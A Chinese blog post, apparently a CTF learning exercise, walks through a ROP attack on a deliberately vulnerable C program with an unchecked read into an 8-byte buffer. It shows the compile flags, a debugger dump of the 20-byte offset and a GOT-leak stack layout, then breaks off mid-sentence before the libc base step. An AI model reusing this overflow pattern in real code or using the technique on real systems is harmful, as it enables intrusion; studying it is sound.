Pwn 学习 question_5 x64ROP编程

本文详细介绍了如何进行x86和x64架构下的Return-Oriented Programming(ROP)攻击,包括确定溢出量、栈布局、利用got表泄露信息及计算libc基址,最终实现代码执行。通过示例代码和exploit编写过程,阐述了ROP在不同架构下的实现差异。

1.源代码

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int dofunc(){
   
   
    char b[8] = {
   
   };
    write(1,"input:",6);
    read(0,b,0x100);
    //printf(b);
    return 0;
}

int main(){
   
   
    dofunc();
    return 0;
}

2.编译

x86

gcc -m32 -fno-stack-protector -no-pie -o question_5_x86 

x64

gcc -fno-stack-protector -no-pie -o question_5_x64

3.x86

3.1.确定溢出量

00:0000│ esp 0xffffd000 ◂— 0x0
01:0004│     0xffffd004 —▸ 0xffffd018 ◂— 'aaaabaaaacaaaa\n'
02:0008│     0xffffd008 ◂— 0x100
03:000c│     0xffffd00c —▸ 0x8049182 (dofunc+12) ◂— add    ebx, 0x2e7e
04:0010│     0xffffd010 ◂— 0x1
05:0014│     0xffffd014 —▸ 0xffffd0e4 —▸ 0xffffd2ba ◂— 0x6d6f682f ('/hom')
06:0018│ ecx 0xffffd018 ◂— 'aaaabaaaacaaaa\n'
07:001c│     0xffffd01c ◂— 'baaaacaaaa\n'
08:0020│     0xffffd020 ◂— 'acaaaa\n'
09:0024│     0xffffd024 ◂— 0xa6161 /* 'aa\n' */
0a:0028│ ebp 0xffffd028 —▸ 0xffffd038 ◂— 0x0
0b:002c│     0xffffd02c —▸ 0x80491e1 (main+21) ◂— mov    eax, 0
0c:0030│     0xffffd030 ◂— 0x1
0d:0034│     0xffffd034 —▸ 0x8049060 (_start) ◂— xor    ebp, ebp
  • 可以计算出溢出量应该是 5 * 4 = 20

3.2.布栈

  • 按照如下顺序安排溢出后的栈空间

3.2.1.第一次溢出

ebp
p32(write_sym)
p32(dofunc_addr)
p32(1)
p32(leak_func_got)
p32(4)

3.2.2.计算libc_base

  • 我们现在获取了write在动态链接后got表中的地
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

==Microsoft==

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值